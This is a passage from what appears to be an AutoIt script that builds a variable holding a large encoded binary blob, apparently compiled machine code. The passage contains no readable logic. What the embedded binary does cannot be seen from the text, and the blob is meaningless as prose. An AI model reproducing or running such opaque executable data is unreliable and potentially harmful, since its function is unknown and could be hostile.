VUY6PrcMr6BIAxIiziLRQQjkQSsAlOQXQSLx40AUAJmiwiDwAIAZjvLdfUrwtEA+IvwM8mNRgEEugJgBvfiD5DBAPfZC8hR6PoGAAIAA/ZWV1CJgEUE6GJyAgDgBGmhegwG0MNYwG5hzmDYg8QQMAZAw0gzBkDDGkBLwzgXL8ABCIP5gGZzAzLAw1PwDZAID7ZDACpTQ4B4QguBHQg7wXKwslsgw1ZXM9IAgAAAAI1DA416BFWNRpsRBaGOD7YoQZDNQDvRfQKL0RABIQUgSyAiAXQGO/F+pAKLUKtIA0ABAnsCmiMgASJ9ApAsaAR7AtmQfWgkfQKAr2hyt3cCCicgASZ6AoPACIMg7wEPhVWwEYP+kGcPjM8wC4P6gAASxoAAgfohsA+PukERPXwkGDvXA7wPALYEGo0MQo1UwAgCO9YPhYEO8BhwQyONcRJX8Q4At9X0O8pwB8oQAaMNKgFTDAMqAQILHLwAweIIC9U7yn0AAovKg8AIg+4AAXWtg/lnfDsAjUFAPQAAAQAAfzFHO8d3LIsATCQUuGMAAAAAO8h8GIA8GP8AdBIPtlNED7YEc0MAgkAL1jvCAH7ojVABO9F0AAddX14ywFvDAF1fLGOIQwFeILABW8PMBgBTVgCLdCQMi0YwMwDbV4t+ODvDdAAMUOgvAAIAgwDEBIleMGpw6ASlBAMMRjA7ww8AhIECAAAzyYkASASJSAiJSAwAiUgQiUgUiUgAGIlIHIlIIIkESCQASolIKIlICCyJSAAINIlIOACJSDyJSECJSIBEiUhIg8AoAiAATIlIUIlIVImASFiJSFyDwAAOEwdEABC5AQBtiAiLgFYwigeIQgGAAwCIWgIPtldkDwi2R2MBkdAPtocCg4ARA9eNBECNAARCD7ZQAQ+2RABmgA1mC9CAIGbIiVAEFxhEQoAmjxhuKJkYACePGEyAGIC6RwpDigoGAAMPt1AGgA+2FDqIUA0BChwBSAsKAbkECohYIECLTjCIWRECcw5VQgQjQgQiQgQXQUxYqhxCBCFCBBPCCCTAAqCxD4hKEkFv0oAdFgpEGIACKoECtlAMCIhQMEMCDYhQMVVCDURCEDXCAjLCAkdVwgJGwgI7whpAwgJFlcIFN8ICSMECSDbAAkAzwGaJQi5HGk5VRhpURhpVQg5oQg5ZVcICVsICa8ICasICX1VCGmTCAmnCBVvCAmwFQhpaQDsz0o2+kAGAvIvHZolRUugAgrb//4vG6Gsgsv//X16GsGr/gGgIXAMQZKFAagAAUIPsLFNVVgBXoVgABBAzxIBQjUQkQGSjQQYAi2wkUItVQGYQD7Z6ZAABWmOKEEoBigJAAnICZgDB5wgPtslmCwD7M9uIRCQXMyDAx0QkGAEND7cA9g+3/4lcJDBVwAAswAAowAAgwAAcAIlEJCSJTCQ8IIXJD44IQMQPt0LOgAM0D7fPgAE4COsEi8AHO0QkNAR1BwDqGIlNHA9YtoQQAZOAAzhCrEEAD7ZMEAEDwmYAweEID7fpD7akCAsAAUgDwwP5QAEEAguhAAUPtkAEQYMC8Qvwi/8gCxwCSMAPHGaFwH15AIoEKoTAD4RuAcBlPHB0YDyAcgAEPOB2WIrIgADpcYD5DXcFgxDFAutAwQEggPkIP3cRAB7AZoPoECAPt8gAFSjrJQA8D3ULikQqAUJFIR/rFjwBAAgLAHYEPA51A0XrAAc8DXUDg8UDgQIEPHB1oA+3gAapAAccRcAQIMEQIMEQUHGKBBfUD8fYDyxRxQ8X' $sFileBin &= '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' $sFileBin &= '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' $sFileBin &= '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' $sFileBin &= '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